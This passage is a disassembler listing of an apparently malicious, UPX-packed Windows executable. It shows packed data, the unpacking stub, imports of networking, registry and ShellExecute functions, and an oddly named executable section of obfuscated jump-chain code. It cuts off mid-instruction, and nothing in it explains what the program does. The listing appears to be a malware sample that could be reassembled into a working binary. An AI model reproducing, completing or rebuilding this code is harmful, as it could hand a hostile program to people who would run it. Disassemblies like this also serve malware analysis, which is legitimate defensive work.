8EF853C0h, 784B5630h dd 0CF74C0A7h, 0AF53C96Ch, 488FABC0h, 0D3BDD34Dh, 389B33F0h dd 0C65D2830h, 1C133BA6h, 47FC00Ch, 0D8DC9DD7h, 8BBFF80Bh dd 7D4BFE8h, 0BBB103D0h, 0C4CC4D8Ch, 0BB09BBFh, 5D8CBFA4h dd 0A0A38577h, 9403981Bh, 8058AFBFh, 0B8CBBB1h, 80B7BF84h dd 9F0B78B7h, 0B7736170h, 77616C62h, 639B403h, 6B2F70E3h dd 0B30B6169h, 684CA5A0h, 2BFB6133h, 2B6F3D96h, 6F6C7173h dd 7DF05011h, 462600Eh, 0B3207h, 0C0AE7Ah, 0C02813FCh dd 5801454Eh, 0D9BB137Fh, 1D33D9B2h, 6D6F070Bh, 732D96EBh dd 870F1756h, 0D5FE6B65h, 75D50ACh, 766F6C12h, 9BC8F865h dd 6E6F6D7Fh, 6C737965h, 74697475h, 16206863h, 755F3F7Ah dd 788BCA63h, 0FB3B0D9Bh, 673365E7h, 78070B4Eh, 71B6DB6Bh dd 237A1A77h, 71701500h, 0B9417A61h, 420B7407h, 0C9E4F207h dd 7807FFEEh, 396B3270h, 0F0B92538h, 651B546Ah, 8A3D506Dh dd 63470BCDh, 16200D7Eh, 0EF0BC7ECh, 735AD6E8h, 90A79951h dd 0AE7BAA27h, 4D62A835h, 1983CBDDh, 72F70A16h, 70F7C474h dd 0F6602549h, 6E17078Bh, 0CE7AEB75h, 61B5ACDAh, 46C98D0Ah dd 0DD606D13h, 2B0E1DD9h, 35B47473h, 338A1707h, 2D3134C8h dd 8D7E6572h, 0F6217362h, 61371579h, 56218264h, 6543ED02h dd 243B0123h, 0B30C220h, 92E4B60Ch, 70000h, 9C9C9B9Ch dd 7030000h, 0E6B70A10h, 70277A0Bh, 8BEB4F77h, 7DECC3Dh dd 0F61EB27h, 2D97151Eh, 0BE900A1h, 0E7381731h, 7032B22h dd 0B737840Bh, 211FBD05h, 5C0D0974h, 43081E44h, 75636FE1h dd 53175704h, 0D0FC2A0Bh, 5C736DDDh, 2B6B2C41h, 73ECBB5Bh dd 0ED305C20h, 2441376Dh, 741AC6Ah, 4164725Ch, 63F30B68h dd 0D13C20Bh, 376D65D8h, 270011h, 923172A1h, 934B571Fh dd 9F60325Bh, 630B64BCh, 0F68EC223h, 3131B9Eh, 0AF666622h dd 2346ABB7h, 7729C315h, 0CE4A056Eh, 75173E15h, 65DD5292h dd 0D629878Fh, 1B865B12h, 7551C39Eh, 0F969AB11h, 44BB9A49h dd 636F205Dh, 8CDA6569h, 86C38CFh, 0CF71613Ch, 6A696323h dd 73B5373Ch, 6269AF12h, 0F6F636Dh, 0AB775262h, 0B37B612Fh dd 1E92C2h, 0B58F8BF3h, 6F367416h, 13266769h, 2EF6D51Ch dd 0A3707533h, 2B126EA2h, 5F9DA39Bh, 6B3335CBh, 0B11AD479h dd 87370759h, 68C5AC65h, 28C455EDh, 0F7179FABh, 75E336B6h dd 73184190h, 0D6EFCB8Fh, 0E7193466h, 72622293h, 0C1B9A911h dd 73759B76h, 0B3A36507h, 0A44284BEh, 2DF6B6Ah, 0A46F4E17h dd 826F6A76h, 0D71769DFh, 0CE137361h, 1F5A66E7h, 3B086A16h dd 175B8218h, 0E667626Fh, 0B5CF7C2Fh, 415983D3h, 0D968DF04h dd 65B606F0h, 656B070Bh, 0B6015272h, 65033B37h, 20A690BBh dd 0C0FB115h, 0A0578423h, 0F67875CCh, 0BDEC6F06h, 9A756CC7h dd 7700353h, 0E41686B0h, 74C4F173h, 0D818570Bh, 1B727B36h dd 52FD406Dh, 740FB2E4h, 2D20311Ah, 8C060A0Dh, 3207B262h dd 60A42DE3h, 54460A42h, 4A0542h, 23FBFF21h, 0A38A325Bh dd 2D364B87h, 0F5FFFA0Bh, 20332078h, 686620D1h, 32303120h dd 0DC4A2034h, 5BB914BFh, 123A3067h, 7772648Ch, 6E907278h dd 72246D91h, 42D2827h, 920DAC0Dh, 0D8F65E26h, 35316B83h dd 0CFA07B30h, 33318F13h, 230F142h, 0D702501Bh, 4B6C2DD9h dd 1F022C13h, 0E4BB5620h, 32342FB1h, 0BD84B35h, 8F5F3015h dd 103E4BFDh, 37350C41h, 222F2220h, 2B02017h, 60D8F202h dd 0E0873173h, 0E4F60A6Bh, 0A04FCF92h, 9833162Fh, 92E16310h dd 33335F23h, 20C2A831h, 0DE20C6A3h, 0A7333019h, 0C20C5931h dd 0CB2FD3CDh, 44803E0Fh, 46E327BDh, 23205054h, 0E6BA952Ah dd 9DB8056Dh, 0D55D72Fh, 0FB0130BBh, 604A976Ch, 6B04A120h dd 8E1780Bh, 0E0F6008h, 241B0C0h, 86444B57h, 69544828h dd 6DA08393h, 5C89749Eh, 0B6409B2Fh, 54748F28h, 0D812298Bh dd 1FCF1400h, 15AA278Ah, 5EDC811Ch, 0C119FE80h, 0FF3174FFh dd 0EBF9E200h, 8FE6E805h, 8B64DB33h, 0F8833043h, 70A0889Bh dd 788BAD1Ch, 0FB99E808h, 6C8552FFh, 5C8B3C5Fh, 0DF03783Bh dd 205B8B53h, 0FA374205h, 4C383BFh, 0F703338Bh, 32ACC933h dd 0D505C1B9h, 0FFFF6FFCh, 0CA2BF675h, 2B58E975h, 5EEBD1D8h dd 28245E03h, 8B0B8B66h, 0DF031C5Eh, 0E078028Bh, 5EC703BFh dd 5EE0FF5Bh, 1268A868h, 0E46FFD14h, 6E92BA54h, 0D6FF8404h dd 0DBA4F88Bh, 0EC78A006h, 83BAA453h, 0C47F0057h, 0AC15685Ah dd 8B1C0568h, 0F6F98BD4h, 6AD8FFDBh, 0BA535210h, 5A603063h dd 2B4501Ah, 0C5550h, 8E26058h, 0BF609EC0h, 0B7B3E543h dd 536C2FCBh, 0A69000AFh, 0B95040C2h, 0E6EC3B7Ah, 0A173CCEEh dd 69D31009h, 0C033202Ah, 25BBBCC7h, 5443AF02h, 7972328Ch dd 0EDDDB019h, 7D8166BFh, 75111102h, 220406EDh, 0AAE47500h dd 96C010BDh, 8B370015h, 0B59FEA75h, 0EB392FFh, 45D89ECh dd 894F1989h, 61451465h, 1BC7646Dh, 21A171CAh, 8DF8FD80h dd 6CA25504h, 781C4128h, 7745E066h, 0C5D822F8h, 0A30D7B90h dd 14643DB0h, 2E18458Fh, 69BE02h, 0C03B7F7Eh, 3DBA1836h dd 495C6BD3h, 0C268401Ch, 3702A158h, 1700A60Ch, 438ABECh dd 0FD9F4DFFh, 8B22A0EFh, 577441C8h, 104D8D53h, 0BA1C1E51h dd 777F97B9h, 0CBF5BEE5h, 0C5EB401Bh, 0C5935C0Fh, 0EE446A9Dh dd 0C96FED0Bh, 8BFC8BE0h, 654BABD7h, 0FDE2AB59h, 0DFE5FF40h dd 505252ECh, 0F12C7600h, 0FE582694h, 0BA5053C7h, 63DFD601h dd 0DE34DACBh, 53963D0Bh, 0C7627CFh, 7F91FB77h, 31568583h dd 46BABA07h, 9C10Ch, 0AEA7E3h, 13E66AC7h, 1BCCF81Ch, 0D20CD203h dd 0CCD80B7Ch, 0CD2A0ACh, 78840CD2h, 0DF14C58h, 28340CD2h dd 7CC070Ch, 274594F9h, 0DAEAF6CAh, 0F60FA68Ah, 80B0FFFFh dd 0ACBCBDBBh, 99C590B1h, 0C99ABFF1h, 86F7B191h, 0FA27A0ADh dd 3E5FD0EAh, 91630018h, 0A191B0A3h, 0ACDF93AAh, 9EFF63EAh dd 88DAB2E5h, 17B4AD9Ah, 0DBEFF5CEh, 0FFFFE6B7h, 0A9BB941Fh dd 0A1FAA489h, 0DA97B2BAh, 86A4A4C2h, 0B8B28BD3h, 0BCA1A084h dd 63C93FFFh, 0E0F0CB2Bh, 87BEA397h, 0A9BAFAA7h, 9FC29FA5h dd 0D9C97FE5h, 0C381BEFFh, 0C6ACB590h, 77A0B1A6h, 0BEAB8EFBh dd 0AAE1BA8Dh dd 0B6FAFFFEh, 0DD95A3A4h, 81B2FE82h, 0BAA69BD5h, 265BC79Bh dd 0FB67487Bh, 0C68DA3EBh, 0B583B26Eh, 0B1A0A77Fh, 0F4D88E92h dd 0DCEA737Ah, 0EDFFB0EBh, 90AAAB7Fh, 0A6B1B1BCh, 0F3C399ECh dd 9DC281A2h, 0BC8DB7ECh, 0F178001Bh, 73621345h, 0C0B00C88h dd 906C0327h, 2B6A6001h, 9C45FF24h, 9D0D7589h, 0FA85B6A1h dd 213C8438h, 49ECF1C8h, 7F90306h, 3903C15Bh, 98ADA797h dd 95BCA0A9h, 0CDC8539Dh, 0B52F6h, 5A0136D0h, 0B155070Eh dd 98D52E78h, 70414F29h, 587372Fh, 70B66D0h, 0EC2C2D52h dd 4949F014h, 13E72F53h, 3847AABCh, 3A151Fh, 1962654Fh dd 2FC64B05h, 2A58288Dh, 8353C178h, 45302A6Eh, 0ABA10CBh dd 0E148E126h, 1204D2Eh, 9BB940A2h, 0B03BF67Dh, 3B290D57h dd 0BC222273h, 62CF1081h, 51ECB7D0h, 54A427CBh, 4EF60562h dd 8F5D6F50h, 2062562Ch, 0C22C2B6Ch, 0E184AD1Ch, 40F75DAh dd 2D65876Bh, 0EE8401C8h, 87D54E33h, 7469C080h, 0B2D88B68h dd 1B05E6F6h, 0C5CC6FF8h, 7D38160Bh, 95A0338Dh, 91561054h dd 223DACADh, 9C3A7300h, 5AB611A9h, 306C7927h, 0D419661h dd 0DA5B24C0h, 87A9EC1Bh, 0BC732545h, 0AAC55404h, 28730936h dd 83652D05h, 1B1F6585h, 59301088h, 12E96348h, 0A08040D2h dd 4551886Eh, 59827F8Ah, 155EAE05h, 0A2756363h, 5984B6B2h dd 8EAD3BB0h, 41421B39h, 2008854Bh, 2464EC1h, 686D7572h dd 0B096B0B1h, 8A235143h, 96300378h, 193AAEB7h, 0B0C0DACBh dd 0C9AF7833h, 7506C25Eh, 11D561Ah, 0DDE096Fh, 41FF65D0h dd 5B617B99h, 3341793Ch, 34417A36h, 0FA5FA97Fh, 68456438h dd 6867B566h, 0ED675247h, 6C553568h, 0A97F7644h, 33D8E0h dd 0D46C46B7h, 5C505846h, 1A026973h, 2E1010B0h, 5600BAE0h dd 7716B0F6h, 354E0B67h, 9B066300h, 0D81B0C41h, 94012E30h dd 25E87D4Bh, 6C4F538Dh, 8F7DC141h, 623F1843h, 0D48B5870h dd 11D2868h, 0C3D12D0Ch, 935C1C08h, 1E5C315Ch, 1349810Bh dd 25876ABBh, 2F4C901Bh, 462045E6h, 108290h, 0A201C148h dd 45215B25h, 0CDB172E4h, 4002A610h, 0DDAB1305h, 0AFCF2156h dd 253D3C50h, 3B443347h, 7038180h, 8660690Fh, 0F715003h dd 6DF95E2Fh, 5B000D59h, 5D5E5B25h, 61B0D90Ch, 3B434BC3h dd 24ECAC33h, 0DB5BC388h, 3B290ECAh, 1460CAD9h, 532B6D09h dd 5A6C3265h, 483041Fh, 20A22013h, 18210AFDh, 45491F36h dd 1D86413Ah, 6F782EACh, 5020F543h, 1830087Dh, 2DDD4C00h dd 0C348161Bh, 4882132Bh, 205B8136h, 1BD81C5Ch, 596C895Bh dd 444A0846h, 42B0B104h, 5CB44654h, 0A587E16Ch, 9706072Fh dd 466CE34h, 234906E7h, 56F0B887h, 3631650Bh, 9F353588h dd 65FD8763h, 4E534D77h, 2DF94520h, 17490Eh, 0B844B2A6h dd 3962B72Ch, 0F3B0B61Dh, 63393138h, 232D31C7h, 1356612h dd 2B1F7174h, 35F6EC2Eh, 65653765h, 4F633030h, 2AB9CCD5h dd 5C7CB617h, 412E054Ch, 35642702h, 452E3033h, 64C731A4h dd 85B7825h, 0F24615Dh, 43767B73h, 6F1E3FF1h, 0D02DB15Ah dd 0F3398C11h, 30496B12h, 148CB636h, 60652380h, 60A90DD6h dd 7456B83Eh, 0DA178204h, 2BF42175h, 4218202Bh, 6E277283h dd 8A483972h, 13758182h, 106D4E53h, 3550BB71h, 664F8563h dd 18726108h, 6D05A958h, 73681CB4h, 54BF1801h, 60A16E1Eh dd 57851821h, 0DB58BD13h, 7665560Eh, 96DB5805h, 87648284h dd 0B716A22Bh, 3C53715Ah, 0B4365C8Bh, 0B5BB2D80h, 7075EA2Ch dd 0DCCAC320h, 74DFA660h, 109C4B5Dh, 135CCC0Ah, 6A6C4AD7h dd 17909188h, 0D34CDAB7h, 38B8574h, 9028303Ch, 0FB0641h dd 0C14071Ch, 641C9C83h, 0ECD9F400h, 0C82F90E4h, 0D80BE020h dd 6C190641h, 0BCC807D0h, 90641935h, 4EA4ACB4h, 34EFC9Eh dd 90D99873h, 641980D9h, 747C4190h, 0B0727268h, 58435C01h dd 20C850D9h, 40480C83h, 0C80D838h, 1C283032h, 0C83219Fh dd 40C1432h, 0D9C9800Ch, 0BF407D8h, 90018200h, 45E8DE4Bh dd 8C433330h, 61204349h, 0CBA2C351h, 785158C3h, 0D764A7A0h dd 0E4E6D9Fh, 20077536h, 6C632D75h, 2B8407Bh, 7BC2980h dd 0B128ED32h, 13BB7973h, 8992432Dh, 0AADB7A36h, 48530B3Ah dd 0D639DC2Dh, 983FC689h, 6C00350Bh, 6900702Fh, 8BDBE805h dd 278AC566h, 0CE686C02h, 2E0761C1h, 0E8505BCCh, 8A96F905h dd 62D0779h, 90F344CFh, 752074B3h, 6D4597BCh, 0E78BD42h dd 6E48095Fh, 3D07B3D8h, 8908133Dh, 6F014836h, 4F3D0F13h dd 1BB6620Bh, 4D3A2015h, 0DEFA8544h, 796669FBh, 4D07A350h dd 0FB304133h, 700B485Eh, 0D9BE5A07h, 4F6D3B9Bh, 2F705308h dd 0C54AD4Ch, 49F8061Ch, 5484D64h, 26623AA6h, 3EC4F7ACh dd 77327548h, 0CB60E65h, 8E6C8096h, 136E7342h, 8DD14C08h dd 534DD367h, 28337B22h, 3089E403h, 0FB050BFEh, 0B8A0BAE6h dd 91C499ECh, 0FFD43B03h, 790F4CFFh, 35C08B1h, 0E3F4F66Fh dd 0A8C30C12h, 12FBCA1h, 18B28248h, 61C277DEh, 0FDC6FF44h dd 0EBF7D7E6h, 23AFF7EBh, 0B594532Eh, 0DA00CAAAh, 0FF25442Ah dd 0B881B1E1h, 0EBF7BDh, 0A78247FFh, 8E96622Eh, 0A48BBBA7h dd 0A6E6E6E7h, 84A88F9Ah, 0D356DAA2h, 0F30A2482h, 0BB80B6FFh dd 0B1E6A7B0h, 0FE85DE92h, 712DFBFh, 69658782h, 3CAF070h dd 0EE8396C1h, 0FE1652Eh, 6C45E068h, 0EE700179h, 0A85145CDh dd 7F2EF73h, 8A275CA3h, 0CC4D706Eh, 0DE001E58h, 3A490F20h dd 8A45DC8Dh, 25780525h, 4BFF3378h, 3069B81h, 0B3D60FBh dd 1B548FDFh, 527F8E10h, 2B6597D1h, 0AFBC19D1h, 56413F2Eh dd 6081AA5Fh, 655F1D03h, 60840F0h, 1F37AC36h, 1A0A39A8h dd 1E875FDCh, 0A9200A21h, 1051541Eh, 51B3756h, 57E0C44Dh dd 40476A60h, 65A88415h, 0F5408BF1h, 4C0E4DCFh, 7B61636Fh dd 4109ED0Fh, 444E53A5h, 0EAA90569h, 0AD638836h, 446C1579h dd 5B660A93h, 0E72F6E22h, 6068A325h, 4CF65D1Fh, 9229BD0h dd 2C0C4FA9h, 195BD142h, 77DE3B76h, 4C010D44h, 61726269h dd 1D4440Dh, 417B22F5h, 8B5B62C7h, 69A40F5Ah, 6F430C10h dd 0D97B5117h, 4C647970h, 0A1064A61h, 0DB7B378h, 7E697257h dd 3D9B7070h, 506876D9h, 5097688Eh, 0D97C7069h, 365BD516h dd 0BD38124Fh, 305B2D9Bh, 65500F20h, 0D5476B65h, 641AF64Bh dd 66699043h, 44326A85h, 537A9952h, 0AFA830D1h, 50646E87h dd 13C14EBDh, 0A03584B0h, 0C3CBC4Fh, 614339BBh, 0C010164Dh dd 6706529h, 60024D96h, 4A68F454h, 0E28A92C2h, 5B73F657h dd 62FAA621h, 6544ACC0h, 908AA210h, 8FD58584h, 0E9F60D51h dd 14354D4h, 0B0B06E55h, 616DFFB3h, 65695670h, 0B6664F77h dd 54CF0E4Dh, 18CB96E4h, 0D547C7E7h, 627A6DACh, 0AF49A14Dh dd 75427501h, 6241443Ch, 0A80E186Ah, 334EA053h, 1503D413h dd 2C680EB4h, 63F90BAAh, 1F01E46Bh, 0CFA9ED50h, 6E470350h dd 6BB414ECh, 75713A31h, 37681A20h, 6531A58Ch, 427349D9h dd 0A12D92B4h, 14E86F45h, 108C20CCh, 9DEF5EAAh, 490DD7B2h dd 2A55452Fh, 40C67544h, 5D6F0588h, 824C3359h, 4D11BC21h dd 0B2D2E265h, 630BD3C6h, 76160987h, 5A0B635Bh, 6D4DD576h dd 0C6615670h, 61D44730h, 0A56223D6h, 90876D91h, 97A57644h dd 9A71B545h, 670900EDh, 0C2ADBDC1h, 377592C3h, 3F87CE0Eh dd 39103602h, 6879654Bh dd 78458B0Dh, 111E330Eh, 0CC259B0Dh, 32B80FB6h, 0D8CB440Dh dd 0E97355A3h, 0D7585266h, 45627250h, 74DB6E6Dh, 79AC1C14h dd 526EE229h, 410F6D61h, 586CC763h, 24D9A52Bh, 66B58B59h dd 0C058BDB3h, 5F6114FAh, 9C15CED9h, 0F006C92Bh, 2C0AF294h dd 43E196B4h, 2BA87878h, 7F707F7Eh, 6A27C409h, 0AE313F3Fh dd 40454155h, 0E35C1358h, 2A295AB9h, 6681990Eh, 0EA0CDA28h dd 8C06D0Ah, 84DCD1EFh, 2482364h, 808FB106h, 73766C9Bh dd 2A66AB6Eh, 62D6DEF7h, 77957F6Fh, 0F910323Bh, 20B37FFEh dd 59403274h, 58415041h, 0D5A4049h, 7B587B33h, 0D0E58AEh dd 625F2547h, 316BACD7h, 0E859095Ch, 0FBB6650Fh, 5F7676B6h dd 11339268h, 667A690Eh, 0D8640368h, 691D069Ah, 0CD96D131h dd 637536C6h, 98F56E73h, 0E73A8A57h, 73070213h, 0B9C30F95h dd 38615B2Eh, 54736669h, 9D0EC106h, 0D50630A1h, 0AC516306h dd 7EAF735h, 407CA77h, 0AE75C957h, 0E235DAC5h, 6325071Dh dd 0CC97877Bh, 1D75B33Bh, 2C0C0720h, 3D55DEEBh, 59B6946Dh dd 9413742Eh, 5AE699Ch, 0EA2C801h, 0C8FFB6CDh, 0BAD0120Bh dd 0F44188D6h, 171A6DC4h, 0CD381D04h, 81C9D81Eh, 0D3A22182h dd 0BBF602C8h, 9134E8ABh, 706C4177h, 40470E05h, 97AF4E63h dd 4181C612h, 219177B0h, 60C52D54h, 3B496B58h, 41EFBA5Eh dd 4E4D08B4h, 0F48C2968h, 7B659659h, 1970204h, 59651516h dd 13026596h, 96170A05h, 0C965965h, 12386F33h, 65965903h dd 34097059h, 596D0B06h, 8106596h, 0FD117414h, 0F28EDB2Ch dd 49415357h, 239FF25h, 0FF210D73h, 501649E5h, 3014C45h dd 3901F000h, 0E91D9E46h, 0B010F97h, 820601h, 67F11382h dd 0E882D937h, 707C100Bh, 24B0D0Bh, 75602C4h, 818A3DF6h dd 10284F14h, 82C2C207h, 2766E58h, 73CB5584h, 856968A0h dd 70A7EC51h, 41B6F202h, 0D7DD905Fh, 4EB5FE7h, 91F0158h dd 722EE012h, 17802BC0h, 0FB0E4CECh, 58B7D92Bh, 4002D973h dd 9827262Eh, 0D3494C71h, 74608034h, 0D97C00C0h, 76466830h dd 1F703h, 0 dd 12000000h, 0FFh, 0 ; --------------------------------------------------------------------------- pusha mov esi, offset nullsub_100 lea edi, [esi-16000h] push edi or ebp, 0FFFFFFFFh jmp short loc_421AC2 ; --------------------------------------------------------------------------- align 8 loc_421AB8: ; CODE XREF: UPX1:loc_421AC9j mov al, [esi] inc esi mov [edi], al inc edi loc_421ABE: ; CODE XREF: UPX1:00421B56j ; UPX1:00421B6Dj add ebx, ebx jnz short loc_421AC9 loc_421AC2: ; CODE XREF: UPX1:00421AB0j mov ebx, [esi] sub esi, 0FFFFFFFCh adc ebx, ebx loc_421AC9: ; CODE XREF: UPX1:00421AC0j jb short loc_421AB8 mov eax, 1 loc_421AD0: ; CODE XREF: UPX1:00421ADFj ; UPX1:00421AEAj add ebx, ebx jnz short loc_421ADB mov ebx, [esi] sub esi, 0FFFFFFFCh adc ebx, ebx loc_421ADB: ; CODE XREF: UPX1:00421AD2j adc eax, eax add ebx, ebx jnb short loc_421AD0 jnz short loc_421AEC mov ebx, [esi] sub esi, 0FFFFFFFCh adc ebx, ebx jnb short loc_421AD0 loc_421AEC: ; CODE XREF: UPX1:00421AE1j xor ecx, ecx sub eax, 3 jb short loc_421B00 shl eax, 8 mov al, [esi] inc esi xor eax, 0FFFFFFFFh jz short loc_421B72 mov ebp, eax loc_421B00: ; CODE XREF: UPX1:00421AF1j add ebx, ebx jnz short loc_421B0B mov ebx, [esi] sub esi, 0FFFFFFFCh adc ebx, ebx loc_421B0B: ; CODE XREF: UPX1:00421B02j adc ecx, ecx add ebx, ebx jnz short loc_421B18 mov ebx, [esi] sub esi, 0FFFFFFFCh adc ebx, ebx loc_421B18: ; CODE XREF: UPX1:00421B0Fj adc ecx, ecx jnz short loc_421B3C inc ecx loc_421B1D: ; CODE XREF: UPX1:00421B2Cj ; UPX1:00421B37j add ebx, ebx jnz short loc_421B28 mov ebx, [esi] sub esi, 0FFFFFFFCh adc ebx, ebx loc_421B28: ; CODE XREF: UPX1:00421B1Fj adc ecx, ecx add ebx, ebx jnb short loc_421B1D jnz short loc_421B39 mov ebx, [esi] sub esi, 0FFFFFFFCh adc ebx, ebx jnb short loc_421B1D loc_421B39: ; CODE XREF: UPX1:00421B2Ej add ecx, 2 loc_421B3C: ; CODE XREF: UPX1:00421B1Aj cmp ebp, 0FFFFF300h adc ecx, 1 lea edx, [edi+ebp] cmp ebp, 0FFFFFFFCh jbe short loc_421B5C loc_421B4D: ; CODE XREF: UPX1:00421B54j mov al, [edx] inc edx mov [edi], al inc edi dec ecx jnz short loc_421B4D jmp loc_421ABE ; --------------------------------------------------------------------------- align 4 loc_421B5C: ; CODE XREF: UPX1:00421B4Bj ; UPX1:00421B69j mov eax, [edx] add edx, 4 mov [edi], eax add edi, 4 sub ecx, 4 ja short loc_421B5C add edi, ecx jmp loc_421ABE ; --------------------------------------------------------------------------- loc_421B72: ; CODE XREF: UPX1:00421AFCj pop esi mov edi, esi mov ecx, 9C1h loc_421B7A: ; CODE XREF: UPX1:00421B81j ; UPX1:00421B86j mov al, [edi] inc edi sub al, 0E8h loc_421B7F: ; CODE XREF: UPX1:00421BA4j cmp al, 1 ja short loc_421B7A cmp byte ptr [edi], 6 jnz short loc_421B7A mov eax, [edi] mov bl, [edi+4] shr ax, 8 rol eax, 10h xchg al, ah sub eax, edi sub bl, 0E8h add eax, esi mov [edi], eax add edi, 5 mov eax, ebx loop loc_421B7F lea edi, [esi+1F000h] loc_421BAC: ; CODE XREF: UPX1:00421BCEj mov eax, [edi] or eax, eax jz short loc_421BF7 mov ebx, [edi+4] lea eax, [eax+esi+21000h] add ebx, esi push eax add edi, 8 call dword ptr [esi+210A0h] xchg eax, ebp loc_421BC9: ; CODE XREF: UPX1:00421BEFj mov al, [edi] inc edi or al, al jz short loc_421BAC mov ecx, edi jns short near ptr loc_421BDA+1 movzx eax, word ptr [edi] inc edi push eax inc edi loc_421BDA: ; CODE XREF: UPX1:00421BD2j mov ecx, 0AEF24857h push ebp call dword ptr [esi+210A4h] or eax, eax jz short loc_421BF1 mov [ebx], eax add ebx, 4 jmp short loc_421BC9 ; --------------------------------------------------------------------------- loc_421BF1: ; CODE XREF: UPX1:00421BE8j call dword ptr [esi+210A8h] loc_421BF7: ; CODE XREF: UPX1:00421BB0j popa jmp near ptr dword_401004+157EDh ; --------------------------------------------------------------------------- align 800h UPX1 ends ; Section 3. (virtual address 00022000) ; Virtual size : 00001000 ( 4096.) ; Section size in file : 00001000 ( 4096.) ; Offset to raw data for section: 00022000 ; Flags C0000040: Data Readable Writable ; Alignment : default ; =========================================================================== ; Segment type: Pure data ; Segment permissions: Read/Write UPX2 segment para public 'DATA' use32 assume cs:UPX2 ;org 422000h dword_422000 dd 3 dup(0) ; DATA XREF: fzj3qwht:0042A15Co ; sub_432992+9o dd 220E0h, 220A0h, 3 dup(0) dd 220EDh, 220B0h, 3 dup(0) dd 220FAh, 220B8h, 3 dup(0) dd 22105h, 220C0h, 3 dup(0) dd 22112h, 220C8h, 3 dup(0) dd 2211Eh, 220D0h, 3 dup(0) dd 22129h, 220D8h, 5 dup(0) dd 77E805D8h, 77E7A5FDh, 77E75CB5h, 0 dd 77DD189Ah, 0 a@W db '@¹Äw',0 align 10h dd 7713BC68h, 0 aClbw db '—‹Bw',0 align 10h aJW db 'jÉÔw',0 align 4 aTLq db 'â]«q',0 align 10h aKernel32_dll db 'KERNEL32.DLL',0 aAdvapi32_dll db 'ADVAPI32.dll',0 aMsvcrt_dll db 'MSVCRT.dll',0 aOleaut32_dll db 'OLEAUT32.dll',0 aShell32_dll db 'SHELL32.dll',0 aUser32_dll db 'USER32.dll',0 aWs2_32_dll db 'WS2_32.dll',0 dd 6F4C0000h, 694C6461h, 72617262h, 4179h, 50746547h, 41636F72h dd 65726464h, 7373h, 74697845h, 636F7250h, 737365h, 65520000h dd 6F6C4367h, 654B6573h, 79h, 6C696563h, 68530000h, 456C6C65h dd 75636578h, 416574h, 73770000h, 6E697270h, 416674h, 39Ch dup(0) UPX2 ends ; --------------------------------------------------------------------------- ; Section 4. (virtual address 00023000) ; Virtual size : 00007000 ( 28672.) ; Section size in file : 00007000 ( 28672.) ; Offset to raw data for section: 00023000 ; Flags E0000020: Text Executable Readable Writable ; Alignment : default ; =========================================================================== ; Segment type: Pure code ; Segment permissions: Read/Write/Execute hjohnhn9 segment para public 'CODE' use32 assume cs:hjohnhn9 ;org 423000h assume es:nothing, ss:nothing, ds:UPX0, fs:nothing, gs:nothing add esi, 0F2008C74h jmp sub_426098 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_55. PRESS KEYPAD "+" TO EXPAND] ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_106. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- loc_42300D: ; CODE XREF: hjohnhn9:004239C5j mov eax, [ebp-0Ch] mov [ebp-1Ch], eax lea eax, [ebp-125h] mov [ebp-20h], eax jmp loc_427F49 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_6. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4287BF loc_423022: ; CODE XREF: sub_4287BF-1571j jmp loc_42369A ; END OF FUNCTION CHUNK FOR sub_4287BF ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_426475 loc_423027: ; CODE XREF: sub_426475+17j jmp loc_4234D8 ; END OF FUNCTION CHUNK FOR sub_426475 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42626F loc_42302C: ; CODE XREF: sub_42626F+13j jmp loc_4242D9 ; END OF FUNCTION CHUNK FOR sub_42626F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42441D loc_423031: ; CODE XREF: sub_42441D+4j ; sub_425029:loc_426AD7j mov eax, [ebp-0Ch] push offset sub_42303E jmp nullsub_7 ; END OF FUNCTION CHUNK FOR sub_42441D ; =============== S U B R O U T I N E ======================================= sub_42303E proc near ; DATA XREF: sub_42441D-13E9o ; FUNCTION CHUNK AT 00424896 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00427119 SIZE 00000014 BYTES movzx eax, byte ptr [eax] loc_423041: ; CODE XREF: sub_426A78:loc_426588j add [ebp-8], eax mov eax, [ebp-8] shl eax, 0Ah jmp loc_424896 sub_42303E endp ; =============== S U B R O U T I N E ======================================= sub_42304F proc near ; DATA XREF: sub_427792-24DBo arg_0 = dword ptr 4 arg_4 = dword ptr 8 ; FUNCTION CHUNK AT 0042306D SIZE 00000008 BYTES ; FUNCTION CHUNK AT 004237EA SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00424218 SIZE 00000020 BYTES ; FUNCTION CHUNK AT 004243F2 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00424A33 SIZE 00000006 BYTES ; FUNCTION CHUNK AT 00424D8C SIZE 0000000D BYTES ; FUNCTION CHUNK AT 00424F43 SIZE 0000000A BYTES ; FUNCTION CHUNK AT 004260B8 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00426833 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00426AE9 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00426C4F SIZE 0000000E BYTES ; FUNCTION CHUNK AT 00426EF9 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00427102 SIZE 00000017 BYTES ; FUNCTION CHUNK AT 004273B2 SIZE 0000002B BYTES ; FUNCTION CHUNK AT 004274F9 SIZE 00000015 BYTES ; FUNCTION CHUNK AT 00428079 SIZE 00000016 BYTES ; FUNCTION CHUNK AT 004282D3 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00428AA2 SIZE 0000000A BYTES ; FUNCTION CHUNK AT 00428F45 SIZE 00000005 BYTES mov ecx, [ebx+ecx+0Ch] loc_423053: ; CODE XREF: sub_4287BF+Ej or ecx, ecx jz loc_4273B2 mov edx, [ebx+ecx] xor edx, [ebx+ecx+4] cmp edx, 7C61090Eh jmp loc_4282D3 sub_42304F endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42304F loc_42306D: ; CODE XREF: sub_42304F:loc_426C4Fj mov ebx, [eax+18h] jmp loc_4260B8 ; END OF FUNCTION CHUNK FOR sub_42304F ; --------------------------------------------------------------------------- loc_423075: ; CODE XREF: hjohnhn9:00427F6Aj adc ebx, 